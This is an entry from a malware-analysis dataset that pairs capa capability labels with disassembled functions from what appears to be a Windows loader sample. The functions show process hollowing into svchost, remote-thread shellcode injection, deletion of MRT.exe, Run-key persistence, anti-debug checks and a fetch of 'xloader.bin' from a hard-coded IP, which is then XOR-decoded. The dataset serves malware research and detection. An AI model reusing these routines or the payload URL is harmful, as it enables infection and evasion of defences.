joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001df4
Capabilities:
Parse pe header
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov rdi, rcx
mov rbx, rdx
lea rcx, [rbp + 2]
xor r15d, r15d
xor edx, edx
mov r8d, 0x206
mov rsi, r9
mov word [rbp], r15w
call fcn.14000af50
lea rdx, [rbp]
mov rcx, rdi
call fcn.140004e98
lea rcx, [rbp]
mov edx, 0x104
call fcn.14000b160
lea r14, [rbp]
lea rcx, str.kernel32
test rax, rax
mov qword [rsp + 0x68], r15
cmove r14, r15
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.CreateProcessInternalW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140043058], rax
test rax, rax
je 0x140001fe8
lea r8d, [r15 + 0x60]
lea rcx, [rbp - 0x68]
xor edx, edx
call fcn.14000af50
lea r8d, [r15 + 0x18]
lea rcx, [rsp + 0x68]
xor edx, edx
mov dword [rbp - 0x70], 0x68
call fcn.14000af50
lea rdx, str.__k_DcomLaunch__p__s_LSM
mov rcx, rdi
mov qword [rbp - 0x80], r15
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov r8, rdi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0x800000c
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [0x140043058]
test eax, eax
je 0x140001fe8
mov rdx, qword [rsp + 0x68]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x78]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov rcx, rsi
mov qword [rsp + 0x28], r15
mov qword [rbp - 0x78], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x20], r15
call qword [0x140043090]
test eax, eax
je 0x140001f81
cmp eax, 0x40000003
jne 0x140001fe8
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x140001fe8
test rbx, rbx
je 0x140001fbf
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140001fbf
cmp dword [rbx + 0x3c], 0x400
jg 0x140001fbf
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
cmp dword [rax], 0x4550
jne 0x140001fbf
mov ecx, 0x20b
cmp word [rax + 0x18], cx
mov al, 1
je 0x140001fc2
mov al, r15b
test al, al
lea r8, [rsp + 0x68]
mov rcx, rbx
sete r9b
call fcn.140001928
test al, al
je 0x140001fe8
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
jmp 0x140001fea
xor al, al
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.14000a800
mov rbx, qword [rsp + 0x360]
add rsp, 0x320
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002010
Capabilities:
Link many functions at runtime
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov rbx, rax
test rax, rax
je 0x1400021c3
lea rdx, str.NtCreateProcessEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400021c3
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rbx
mov qword [0x1400430a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400021c3
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
mov qword [0x140043050], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400021c3
lea rdx, str.NtQueryInformationFile
mov rcx, rbx
mov qword [0x140043070], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000211f
lea rdx, str.NtQuerySystemInformation
mov rcx, rbx
mov qword [0x140043098], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000211f
lea rdx, str.NtSuspendProcess
mov rcx, rbx
mov qword [0x1400430b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000211f
lea rdx, str.NtResumeProcess
mov rcx, rbx
mov qword [0x1400430d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000211f
mov qword [0x140043078], rax
mov ebx, 0x104
lea rdx, [rsp + 0x260]
xor ecx, ecx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x52]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], di
call fcn.14000af50
lea rdx, [rsp + 0x50]
lea rcx, str._SystemRoot__system32_svchost.exe
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x260]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor r9d, r9d
xor edx, edx
mov rcx, rax
lea r8d, [r9 + 2]
mov qword [rsp + 0x28], rdi
mov rbx, rax
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rcx, rbx
test rax, rax
jne 0x1400021eb
call qword [0x1400432c0]
or eax, 0xffffffff
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.14000a800
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
lea rdx, [rsp + 0x40]
mov r8, rax
call fcn.140004de0
mov rsi, rax
test rax, rax
je 0x1400021c3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x40]
mov rcx, rsi
call fcn.140001aa4
mov rcx, rax
call fcn.140001d08
lea rcx, [rsp + 0x50]
mov rdx, rsi
mov r9, rax
call fcn.140001df4
mov rdx, qword [rsp + 0x40]
mov r8d, 0x4000
mov rcx, rsi
mov bl, al
call qword [0x140043208]
test bl, bl
setne dil
mov eax, edi
jmp 0x1400021c6
Function at 0x1400034b0
Capabilities:
Acquire debug privileges

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov edi, r8d
mov esi, dword [0x1400433f4]
mov r14, qword [0x1400432e0]
xor r15d, r15d
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r15
xor eax, eax
mov qword [rbp - 0x38], rax
lea ebx, [rax + 1]
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], r15
mov word [rbp - 0x30], r15w
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x48]
lea edx, [rbx + 0x27]
call qword [0x140043220]
test eax, eax
je 0x14000357b
mov dword [rbp - 0x40], ebx
mov dword [rbp - 0x34], 2
lea r8, [rbp - 0x3c]
lea rdx, [0x140027180]
xor ecx, ecx
call qword [0x140043230]
test eax, eax
je 0x140003571
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp - 0x40]
xor edx, edx
mov rcx, qword [rbp - 0x48]
call qword [0x1400431d8]
mov rcx, qword [rbp - 0x48]
call qword [0x1400432c0]
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140003598
mov ebx, r15d
jmp 0x1400035c6
mov r8d, esi
mov rdx, r14
mov rcx, rax
call fcn.140003834
test rax, rax
jne 0x1400035b0
mov ebx, r15d
jmp 0x1400035bc
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, ebx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000a800
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140003750
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov rbx, rcx
mov ecx, 0x10b
cmp word [rax + rbx + 0x18], cx
je 0x1400037f3
mov ecx, 0x20b
cmp word [rax + rbx + 0x18], cx
jne 0x1400037f3
mov ecx, dword [rax + rbx + 0x88]
mov rdx, rbx
call fcn.1400036e4
mov rdx, rbx
mov r14d, eax
add r14, rbx
mov ecx, dword [r14 + 0x20]
call fcn.1400036e4
mov ecx, dword [r14 + 0x24]
mov rdx, rbx
mov esi, eax
add rsi, rbx
call fcn.1400036e4
mov ebp, dword [r14 + 0x18]
mov edi, eax
add rdi, rbx
jmp 0x1400037ef
mov ecx, dword [rsi]
mov rdx, rbx
dec ebp
call fcn.1400036e4
lea rdx, [0x140027198]
mov ecx, eax
add rcx, rbx
call fcn.14000b7d8
test rax, rax
jne 0x140003810
add rsi, 4
add rdi, 2
test ebp, ebp
jne 0x1400037c5
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov ecx, dword [r14 + 0x1c]
mov rdx, rbx
call fcn.1400036e4
movzx r8d, word [rdi]
mov rdx, rbx
mov ecx, eax
add rcx, rbx
mov ecx, dword [rcx + r8*4]
call fcn.1400036e4
jmp 0x1400037f5
Function at 0x140003834
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov r14d, r8d
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x4c], ebx
test rcx, rcx
je 0x140003928
test rdx, rdx
je 0x140003928
test r8d, r8d
je 0x140003928
mov rcx, rdx
call fcn.140003750
mov r12d, eax
test eax, eax
je 0x140003928
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, r14d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140003928
mov dword [rsi + 2], r14d
mov qword [rsp + 0x20], rbx
mov r9d, r14d
mov r8, rsi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003928
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x20]
mov r8d, r14d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140003928
lea r9, [r15 + r12]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov r8d, 0x100000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov qword [rsp + 0x40], rax
jmp 0x140003931
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000a800
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140003b50
Capabilities:
Create thread
Delete file
Encode data using xor
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rsi
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rbp + 0x190], rax
call fcn.1400060a0
mov edx, 0x104
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor esi, esi
test eax, eax
je 0x140003bb9
lea r8, str.MRT.exe
mov edx, 0x104
lea rcx, [rbp - 0x80]
call fcn.14000dac8
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.1400054a4
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x14000396c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, str.http:__176.111.174.140_api_xloader.bin
call fcn.14000b180
mov r8, rax
lea rdx, str.http:__176.111.174.140_api_xloader.bin
lea rcx, [rsp + 0x30]
call fcn.1400023f4
nop
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
lea rcx, str.http:__176.111.174.140_api_xloader.bin
call fcn.14000b180
mov r8, rax
lea rdx, str.http:__176.111.174.140_api_xloader.bin
lea rcx, [rsp + 0x50]
call fcn.1400023f4
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000327c
mov qword [0x1400432e0], rax
mov ecx, dword [0x1400433f4]
test rcx, rcx
je 0x140003c79
xor byte [rax], 0xaa
inc rax
dec rcx
jne 0x140003c6e
call fcn.140006660
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140003954]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x2328
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003ca7
Function at 0x140003cb4
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rbp + 0x390], rax
call fcn.140002a28
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
jne 0x140003cf8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, 0x104
lea rdx, [rbp + 0x180]
xor ecx, ecx
mov r8d, ebx
call qword [0x1400431e8]
xor edi, edi
test eax, eax
je 0x140003d27
lea rcx, [rbp + 0x180]
call qword [0x1400432b8]
mov r8, rax
jmp 0x140003d2e
lea r8, str.Unknown
lea rcx, [rsp + 0x70]
or r9, 0xffffffffffffffff
mov rdx, rbx
call fcn.14000bb68
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x70]
call fcn.14000b9b8
test eax, eax
je 0x140003e37
call fcn.1400016c0
call fcn.14000552c
lea rbx, [0x1400432f0]
mov rcx, rbx
call fcn.140005110
lea rcx, str.Chrome
mov qword [rsp + 0x58], 7
mov qword [rsp + 0x50], rdi
mov word [rsp + 0x40], di
call fcn.14000b180
lea rdx, str.Chrome
lea rcx, [rsp + 0x40]
mov r8, rax
call fcn.1400023f4
cmp byte [0x1400432f0], dil
mov qword [rsp + 0x38], 0xf
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jne 0x140003dc5
mov rax, rdi
jmp 0x140003dcd
mov rcx, rbx
call fcn.14000ad30
lea rcx, [rsp + 0x20]
mov r8, rax
mov rdx, rbx
call fcn.1400012fc
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.14000527c
cmp qword [rsp + 0x38], 0x10
jb 0x140003dfe
mov rcx, qword [rsp + 0x20]
call fcn.140006e34
cmp qword [rsp + 0x58], 8
mov qword [rsp + 0x38], 0xf
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jb 0x140003e23
mov rcx, qword [rsp + 0x40]
call fcn.140006e34
call fcn.140004f04
call fcn.140002010
test eax, eax
jne 0x140003e37
call fcn.140003b50
int3
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x70]
call fcn.14000b9b8
test eax, eax
jne 0x140003ee3
lea r8, [0x1400274a8]
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x140003e89
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140003e89
mov rcx, rbx
call qword [0x1400432c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
mov dword [rsp + 0x60], edi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, 0x1000
lea r9, [rsp + 0x60]
mov r8d, 4
mov edx, edi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, edi
xor edx, edx
mov rcx, rbx
call fcn.14000af50
lea rcx, [0x140043400]
call fcn.140005110
call fcn.140006d20
mov qword [0x1400432e8], rax
call fcn.140006660
call fcn.140003b50
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140004de0
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rbx, r8
xor r9d, r9d
mov r14, rdx
mov rsi, rcx
lea edx, [r9 + 4]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x140004e34
mov rcx, rbx
call qword [0x1400432c0]
mov rcx, rsi
call qword [0x1400432c0]
xor eax, eax
jmp 0x140004e81
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov r8d, 0x3000
mov edx, eax
lea r9d, [rcx + 4]
mov qword [r14], rdx
call qword [0x1400431a8]
mov rsi, rax
test rax, rax
je 0x140004e30
mov r8, qword [r14]
mov rdx, rdi
mov rcx, rax
call fcn.14000a830
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbx
call qword [0x1400432c0]
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140005110
Capabilities:
Create directory

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x31]
lea r8d, [rdx + 0x22]
mov byte [rsp + 0x30], 0
call fcn.14000af50
lea rcx, [rsp + 0x30]
call fcn.140004ff0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [0x140043290]
lea rdx, [0x1400274ac]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [0x1400274ac]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000a800
add rsp, 0x60
pop rbx
ret
Function at 0x14000552c
Capabilities:
Copy file
Create directory
Get file attributes
Persist via run registry key
Set file attributes

Disassembly:
push rbp
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rbp + 0x290], rax
xor edx, edx
lea rcx, [rsp + 0x39]
mov byte [rsp + 0x38], 0
lea r8d, [rdx + 0x22]
call fcn.14000af50
lea rcx, [rsp + 0x38]
call fcn.140004ff0
xor r9d, r9d
lea rax, [rbp + 0x70]
lea edx, [r9 + 0x1a]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [0x140043290]
test eax, eax
je 0x140005593
xor al, al
jmp 0x1400056df
lea rdx, [0x1400274ac]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rbp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1400055d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000558c
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, [rbp + 0x70]
or eax, 2
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, [rbp + 0x180]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp + 0x70]
lea rcx, [rsp + 0x60]
mov edx, 0x104
call fcn.14000d300
lea rdx, [0x1400274ac]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..exe
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x180]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x14000558c
lea rcx, [rsp + 0x60]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [0x1400431c8]
test eax, eax
jne 0x1400056dd
lea rcx, [rsp + 0x60]
call fcn.14000ad30
lea rcx, [rsp + 0x60]
lea rdx, str.Services
inc eax
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x30]
call qword [0x140043170]
mov rcx, qword [rsp + 0x30]
call qword [0x140043118]
mov al, 1
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.14000a800
add rsp, 0x3a0
pop rbp
ret
Function at 0x1400056f8
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rbp + 0x198], rax
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140005744
xor eax, eax
jmp 0x14000581f
or eax, 0xffffffff
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov dword [rsp + 0x30], 0x238
mov dword [rbp + 0x170], eax
mov dword [rbp + 0x174], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x14000580c
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x5c]
call fcn.14000b9b8
test eax, eax
jne 0x1400057fe
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400057fe
lea rax, [rbp + 0x180]
lea r9, [rbp + 0x190]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x178]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x1400057f5
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x1400057f5
mov rax, qword [rbp + 0x178]
mov esi, dword [rsp + 0x38]
mov qword [rbp + 0x170], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000576e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.14000a800
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x140005848
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400058f3
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1400058e6
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14000b9b8
test eax, eax
jne 0x1400058d8
mov r8d, dword [rsp + 0x28]
lea ecx, [rax + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400058d8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000589b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000a800
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret